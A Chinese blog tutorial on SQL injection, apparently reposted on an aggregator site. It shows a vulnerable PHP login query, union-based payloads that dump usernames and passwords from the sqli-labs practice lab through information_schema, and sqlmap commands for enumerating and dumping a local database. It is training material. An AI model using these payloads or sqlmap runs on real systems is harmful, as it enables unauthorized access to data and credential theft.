初识SQL注入

news2024/12/26 0:30:46

目录

注入攻击

SQL注入

手工注入

Information_schema数据库

自动注入

介绍一下这款工具：sqlmap

半自动注入

前面给大家通过学习+练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示，从本篇开始我将和小伙伴们通过边复习、边练习的方式来进行SQL注入的学习，本篇是SQL注入的第一篇，主要是对SQL注入的一些简单的介绍和大致的注入流程的演示，那么下面我们开始ヾ(◍°∇°◍)ﾉﾞ

后面会用到sqli-labs靶场，这里附上下载链接，如果还没有该靶场的小伙伴可以下载一下：

sqli-labs: sql注入练习靶场123456 (gitee.com)

注入攻击

首先来介绍一下什么事SQL注入

注入攻击的本质，是把用户输入的数据当做代码执行，或者生成其他语义的内容，前面的XSS本质上也是一种针对HTML的注入攻击。

因此可以总结一下，注入攻击有两个关键条件：

  • 用户能够控制输入
  • 原本要执行的代码拼接了用户输入的数据

SQL注入

SQL注入第一次出现是在1998年的著名黑客杂志phrack上。在文章中，名为rfp的黑客，第一次向公众介绍了SQL注入的攻击技巧

那么可以举一个SQL注入的例子

如果后端的代码是这样的：

<?php 
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM User where username = '$username' and password = '$password';";
?>

 可以看到这里的后端代码是使用post方式拿到username和password，然后直接在数据库中进行查询，并没有对输入的内容进行任何过滤

代码期待用户的输入后的数据库查询是这样的：

select * from user where username = 'admin' and password = '123';

这里如果恶意用户输入的用户名是这样的：

admin'--

则数据库查询就变成了这样：

select * from user where username = 'admin'--' and password = '123';

这时就将and 以后的查询都注释掉了，此时就实现了无密码登录

手工注入

现在我来演示一下使用手动的方式进行SQL注入的流程

演示场景：sqli-labs

进入靶场后，然后点击第一关，这里使用第一关来演示一下

（1）根据提示可以看到这里告诉我们可以输入id作为参数和值

因此我们可以尝试查询一下id=1的结果：

可以看到这里查询出了id=1的用户的登录名和密码

那么根据上面的内容，现在就可以尝试进行SQL注入攻击，试着传入id=1' --+来逃出sql语句的查询语句

可以看到这里还是和id=1的结果是一样的

现在可以尝试一下使用联合查询（union）的方式来在闭合查询语句后，另外查询一些别的信息

小技巧：这里可以通过不断变换select 1,2,3... 不断增加列数来查找该表中一共有多少列

从上面的分别查3,4的网页的不同可以确定，该表中一共有3列

然后我们可以在1/2/3中查询一下，那个是username 和password可以显示在页面中的

但是这里我们查询的结果还是不对，它一致不变的显示id=1的结果。

这是因为联合查询时，id=1始终为真，所以就只会显示id=1时的值，想要让我们后面的语句执行就必须要让前面的id值为假，可以使用一下两种方式

  1. 让id的值为负值

  2. 让id的值为一个不存在的值

（2）根据结果可以看到username是第2列，password是第3列，因此我们可以来利用这两个位置来显示一些关于该数据库中额敏感的信息

查看用户名

查看数据库名

查看版本

利用这里当然还可以查到其他信息，最重要的还是这三个，现在数据库名称已经知道了，我们就要开始手动的获取数据库中其他敏感数据信息了

这里可以分析一下查询语句中需要的元素

知道了数据库我们可以使用数据库

查询数据库中的内容需要知道 表名 列名  才能查到具体的信息

但是这里是无法使用上面的方式直接在select 1,2,3里面的查询，因为没有那样的函数

这里就要介绍一个Mysql自带的数据库：

Information_schema数据库

Information_schema是MySQL中的一个系统数据库，它存储了MySQL的元数据信息，包括数据库、表、列等的信息。

在进行SQL注入攻击时，攻击者可以利用Information_schema来获取敏感信息，如数据库名、表名、列名等。

（3）我们可以利用information_schema数据库中的 table_name来查找我们已经查找的数据库中所有的表

select table_name from information_schema.tables
//这条语句可以查到  information_schema.tables 中的 table_name ,即该数据中的的所有表名

但是这里的表名并不是我们需要查询的security这个数据库中的，所以我们需要在查询语句后面增加条件筛选

select table_name from information_schema.tables where table_schema="security"
//这里我们将筛选的条件修改为table_schema="security" 表示我们需要查找的是数据库名为security中的所有的表

现在就可以在sql-labs靶场中实验一下：

id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

 这里使用的group_concat()函数就是将多个查询结果拼接到一个字符串中，如果不加该还是就会因为查询的结果太多而报错

（4）那么现在已经知道数据库名和表名了，现在就需要知道表中有那么具体的字段，这里就用users表为例来演示一下：

这里我们还是利用information_schema数据库，使用同样的方法，因为在information_schema数据库中的columns表中存放着所有的数据库中的所有的表中的所有字段名，因此可以通过已知到数据库名，表名来查询该表中的所有的字段名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='usersss'),3 --+


 可以看到这里成功的通过information_schema的conlumn表中table_schema字段也就是数据库名为security字段table_name也就是表名为users的所有字段的名称了

（5）现在知道了数据库名、表名、字段名，那么就可以为所欲为的查询数据库中的所有数据了

比如查询所有的用户名和密码：

?id=-1' union select 1,(select group_concat(id,0x3a,username,0x3a,password) from users),3 --+

 

到此手动注入的流程已经演示完成了 

自动注入

自动注入就是使用工具了，有很多工具都可以进行自动sql注入

这里我演示使用的是sqlmap，kail中默认就有，没有的可以自行下载，windows、Linux版本的都有的，我这里就使用windows中演示一下吧，

介绍一下这款工具：sqlmap

SQLmap是一个开源的渗透测试工具，可以进行自动化检测，利用SQL注入漏洞，获取数据库服务器的权限，它具有强大的检测引擎，针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至通过外带数据连接的方式执行操作系统的命令

常用的参数：

- **-u：指定URL**
- **--dbs(末尾)：查看数据库**
- **-D（指定数据库名） -tables(末尾)：查看表**
- **-D（指定数据库名） -T(指定表名) --column：查看列**
- **-D（指定数据库名） -T(指定表名) -C（指定列）--dump：查看指定列中的值**
- **-r 查看文本的请求中是否存在注入**
- -p 指定SQL注入点
- --level （1~5）：检测级别
- --risk：风险等级
- --batch 非交互式模式
- –dbs 所有数据库
- –current-db 网站当前数据库
- **–users 所有数据库用户**
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- **–passwords 数据库密码**
- –proxy http://local:8080 设置代理
- –time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）

下载完成后，使用cmd移动到文件夹下，然后可以直接使用下面命令来进行自动sql注入

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

可以看到这里也是成功的写出了几个payload，而且分别有unio查询，布尔注入，报错注入，时间盲注四种方式，可以看到自动注入的效率和效果是非常好的

半自动注入

这里的半自动注入还是使用sqlmap，但是不是直接使用url来让sqlmap自动注入，而是我们一步一步来使用sqlmao来注入出数据库名。表名。和列名，最后注入出数据

（1）注出数据库名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs

（2）注出表名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  --tables

（3）注出字段名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  -T users --column

（4）注出数据

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  -T users -C username --dump

到此，SQL注入的基础知识和手工注入，自动注入，半自动注入就演示完毕了，后面会和小伙伴们继续分享更多的SQL注入的技巧和靶场练习(^▽^) 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1406755.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

MongoDB系列之一文总结索引

MongoDB系列之一文总结索引

概述 分类 索引的分类&#xff1a; 按照索引包含的字段数量&#xff0c;可分为单键索引&#xff08;单字段索引&#xff09;和组合索引&#xff08;联合索引、复合索引&#xff09;按照索引字段的类型&#xff0c;可以分为主键索引和非主键索引按照索引节点与物理记录的对应…
阅读更多...
QT 实现自动生成小学两位数加减法算式

QT 实现自动生成小学两位数加减法算式

小学生加减法训练 QT实现–自动生成两位数加减法算式&#xff0c;并输出txt文件 可以copy到word文件&#xff0c;设置适当字体大小和行间距&#xff0c;带回家给娃做做题 void MainWindow::test(int answerMax, int count) {// 创建一个随机数生成器QRandomGenerator *gener…
阅读更多...
宝塔面板SRS音视频TRC服务器启动失败

宝塔面板SRS音视频TRC服务器启动失败

首先&#xff0c;查找原因 1.先看srs服务在哪 find / -type f -name srs 2>/dev/null运行结果&#xff1a; /var/lib/docker/overlay2/5347867cc0ffed43f1ae24eba609637bfa3cc7cf5f8c660976d2286fa6a88d2b/diff/usr/local/srs/objs/srs /var/lib/docker/overlay2/5347867…
阅读更多...
展厅设计更好的方法

展厅设计更好的方法

一、与公司形象契合 在展厅规划时必定要留意公司的LOGO、主色调&#xff0c;以及企业文明。在展现时使用丰满的展厅规划传达出企业的理念。而在功用设置上&#xff0c;应当考虑内涵功用&#xff0c;从展厅作业人员的视点动身&#xff0c;为展厅作业人员提供杰出的环境&#xff…
阅读更多...
L1-093 猜帽子游戏(Java)

L1-093 猜帽子游戏(Java)

宝宝们在一起玩一个猜帽子游戏。每人头上被扣了一顶帽子&#xff0c;有的是黑色的&#xff0c;有的是黄色的。每个人可以看到别人头上的帽子&#xff0c;但是看不到自己的。游戏开始后&#xff0c;每个人可以猜自己头上的帽子是什么颜色&#xff0c;或者可以弃权不猜。如果没有…
阅读更多...
菜鸡后端的前端学习记录

菜鸡后端的前端学习记录

前言 记录一下看视频学习前端的的一些笔记&#xff0c;以前对Html、Js、CSS有一定的基础&#xff08;都认得&#xff0c;没用过&#xff09;&#xff0c;现在不想从头再来了&#xff0c;学学Vue框架&#xff0c;不定时更新&#xff0c;指不定什么时候就鸽了。。。。 Vue2 01…
阅读更多...
elementui 表单 resetFields 方法不生效问题解决

elementui 表单 resetFields 方法不生效问题解决

问题 调用 elementui 官方提供的表单重置方法 resetFields 方法重置表单不生效&#xff0c;相信很多小伙伴都遇到过这个问题。 解决方法 检查代码看每个表单项的 prop 与 v-model 绑定的属性值命名是否相同&#xff0c;不相同的话就会导致 resetFields 方法不生效的问题&am…
阅读更多...
「萌龙送宝」玉树芝兰定制红包封面免费发放

「萌龙送宝」玉树芝兰定制红包封面免费发放

第二波红包封面&#xff0c;来了。 昨天晚上&#xff0c;我在公众号文章里免费发了 6000 份微信红包定制封面。根据 2022 年的经验&#xff0c;我原本以为这些红包怎么也得发个 12 小时&#xff0c;甚至是一天。但事实教育了我 —— 只用了半个小时&#xff0c;就发光了。 很多…
阅读更多...
rabbitmq基础-java-1、快速入门

rabbitmq基础-java-1、快速入门

1、AMQP AMQP&#xff0c;即Advanced Message Queuing Protocol&#xff08;高级消息队列协议&#xff09;&#xff0c;一个提供统一消息服务的应用层标准高级消息队列协议&#xff0c;是应用层协议的一个开放标准&#xff0c;为面向消息的中间件设计&#xff0c;基于此协议的客…
阅读更多...
Pygame之纯Python实现你好2024效果

Pygame之纯Python实现你好2024效果

Pygame之纯Python实现你好2024效果 前言&#xff1a; 对于某些指JavaScript与前端实现为Python实现你好2024效果的营销号实在看不下去了。无底线营销&#xff0c;还要私信拿源码&#xff0c;hhh 于是就有了以下代码&#xff1a; 运行前安装pygame pip install pygame运行效果…
阅读更多...
apkpure下载Google Play中APP的APK安装包

apkpure下载Google Play中APP的APK安装包

比如Google Play上有个应用叫iSmart DV&#xff0c;想下载APK&#xff0c;怎么做呢 打开apkpure(https://apkpure.net/)&#xff0c;输入对应的app名称即可下载
阅读更多...
Integer.valueOf方法详解

Integer.valueOf方法详解

Integer.valueOf 是 Java 中 Integer 类的一个静态方法&#xff0c;它用于将给定的字符串或基本数据类型转换成一个 Integer 对象。 使用场景 从字符串转换&#xff1a;将字符串形式的数字转换为 Integer 对象。 Integer num Integer.valueOf("123");从基本数据类…
阅读更多...
springboot druid数据库配置密码加密

springboot druid数据库配置密码加密

1.使用的druid版本 <!-- 阿里数据库连接池 --> <dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-3-starter</artifactId><version>1.2.21</version> </dependency> 2.配置文件 # Spring配置 …
阅读更多...
酷开科技 | 酷开系统全能基因 融合架构更多精彩

酷开科技 | 酷开系统全能基因 融合架构更多精彩

智能电视和智能电视操作系统早已不是新鲜事物&#xff0c;随着人们对智能电视的使用需求越来越多&#xff0c;一些消费者开始了探索电视的更多可能性&#xff0c;酷开科技通过对消费者群体的调研将酷开系统进行了创造性的升级&#xff0c;更强大的功能&#xff0c;让我们深切的…
阅读更多...
openssl3.2 - 检查rsa证书和私钥是否匹配(快速手搓一个工具)

openssl3.2 - 检查rsa证书和私钥是否匹配(快速手搓一个工具)

文章目录 openssl3.2 - 检查rsa证书和私钥是否匹配(快速手搓一个工具)概述效果笔记编程环境界面控件的设置增加文件拖拽的类RSA证书和key是否匹配的实现在程序中加入环境变量备注备注END openssl3.2 - 检查rsa证书和私钥是否匹配(快速手搓一个工具) 概述 在学习openssl官方的…
阅读更多...
亚马逊、eBay、TikTok等平台的综合运营实用工具分享！

亚马逊、eBay、TikTok等平台的综合运营实用工具分享！

亚马逊、eBay等电商平台为卖家提供了广阔的销售机会&#xff0c;但同时也带来了运营管理的挑战。为了提高运营效率和销售业绩&#xff0c;卖家需要借助一些实用工具。本文将介绍一些在亚马逊、eBay等平台上综合运营中非常有用的工具&#xff0c;帮助卖家更高效地管理店铺&#…
阅读更多...
【大数据】YARN调度器及调度策略

【大数据】YARN调度器及调度策略

YARN调度器 YARN负责作业资源调度&#xff0c;在集群中找到满足业务的资源&#xff0c;帮助作业启动任务&#xff0c;管理作业的生命周期。 ​ YARN技术架构 ​ 目前&#xff0c;Hadoop作业调度器主要有三种&#xff1a;先进先出调度器&#xff08;First In First Out&…
阅读更多...
Java安装环境JDK+Maven+Idea插件+nvm等

Java安装环境JDK+Maven+Idea插件+nvm等

Java安装环境JDKMavenIdea插件nvm等 背景&#xff1a;新机安装开发环境发现需要找很多文章&#xff0c;&#xff0c;&#xff0c;&#xff0c;这里一篇文章安装所有环境 文章目录 Java安装环境JDKMavenIdea插件nvm等一、安装JDK①&#xff1a;下载②&#xff1a;安装③&#xf…
阅读更多...
华媒舍：15种媒体发稿推广的创意理念与案例分析

华媒舍：15种媒体发稿推广的创意理念与案例分析

媒体发稿已经成为推广知名品牌、产品与服务关键方式之一。怎样通过媒体发稿提升曝光度和吸引住受众却是一个挑战。下面我们就详细介绍15种创意理念和案例分析&#xff0c;帮助你更好地进行新闻媒体发稿推广。 1.造就日常生活小故事通过展示真实用户故事和感受&#xff0c;读者对…
阅读更多...
Mysql数据库DQL查询语言之表连接（联合查询）

Mysql数据库DQL查询语言之表连接（联合查询）

表连接 关系字段&#xff1a;两表中有关联关系的字段 \关系字段&#xff1a;两表之间存在关系的字段 什么是表连接&#xff1f; 当我们的查询结果需要从多张表中获取时&#xff0c;此时应该让表之间建立连接&#xff0c;同时获取数据 内连接 特点&#xff1a;同时对连接双方做…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023